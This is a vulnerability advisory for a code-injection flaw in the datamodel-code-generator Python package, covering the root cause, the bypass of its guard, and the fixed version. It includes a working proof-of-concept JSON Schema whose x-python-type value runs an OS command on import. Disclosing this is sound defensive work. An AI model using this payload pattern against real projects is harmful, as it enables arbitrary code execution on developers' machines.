high · 7.8CVE-2026-54655Jul 28, 2026

CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type

Rohit Hatagale
AI Security Researcher, SecureLayer7

A malicious JSON Schema field using the x-python-type extension can embed arbitrary Python code into generated model files, which then executes silently the moment a developer imports the output.

Packagedatamodel-code-generator
Ecosystempip
Affected>= 0.51.0, <= 0.60.1
Fixed in0.60.2
CVE-2026-54655: datamodel-code-generator Code Injection via x-python-type

The problem

datamodel-code-generator 0.51.0 through 0.60.1 honours the custom x-python-type JSON Schema extension and writes its value verbatim into generated Python source as a field type annotation.

The only guard, a dot-rewrite, only fires when a dot appears before the first [ in the value. Bypassing it requires nothing more than placing [ before any dot. An attacker who controls the input schema can therefore plant a real Python statement inside every generated class body, across all supported output types: pydantic_v2.BaseModel, dataclasses, TypedDict, and msgspec.Struct.

Proof of concept

A working proof-of-concept for CVE-2026-54655 in datamodel-code-generator, with the exact payload below.

json
# malicious.json
{
  "$schema": "http://json-schema.org/draft-07/schema#",
  "title": "Exploit",
  "type": "object",
  "properties": {
    "field": {
      "type": "string",
      "x-python-type": "X[1]; __import__('os').system('id')"
    }
  }
}

# Generate:
# datamodel-codegen --input malicious.json --output models.py

# Generated models.py will contain (inside the class body):
#   field: X[1]; __import__('os').system('id')
#
# from __future__ import annotations (emitted by default) makes X[1] a
# lazy string, so X never resolves. The statement after ; runs at
# class-definition time when the module is imported.

# Trigger:
# python -c "import models"

The sink is _get_python_type_override in src/datamodel_code_generator/parser/jsonschema.py. It reads x-python-type, computes prefix = value.split('[', maxsplit=1)[0], and only rewrites the value when '.' appears in that prefix. Placing [ before any dot keeps the prefix dot-free, the rewrite is skipped, and the raw value lands in the DataType.type field, which flows unescaped into {{ field.type_hint }} in every Jinja2 model template.

from __future__ import annotations (emitted by default) defers annotation evaluation, so the X[1] portion never raises a NameError. Everything after the ; is a real Python statement in the class body, executed at import time. The fix (commit 2c93c9b) validates the value with ast.parse(..., mode='eval') and accepts only AST nodes that are legal type-annotation shapes: names, attributes, subscripts, unions, and safe literals.

Statements and calls are rejected before code generation.

The fix

Upgrade to datamodel-code-generator 0.60.2 or later. The fix (commit 2c93c9b712f43391dcfa975a1e4aa0b7c93ccbba) adds an ast.parse-based validator, cached to avoid repeated parsing, that accepts x-python-type values only when they parse as a pure type expression.

Any value containing statements, calls, or other executable constructs is rejected at code-generation time, before it can reach a template.

Reported by Hamza Haroon (thegr1ffyn).

References: [1][2][3][4]

Related research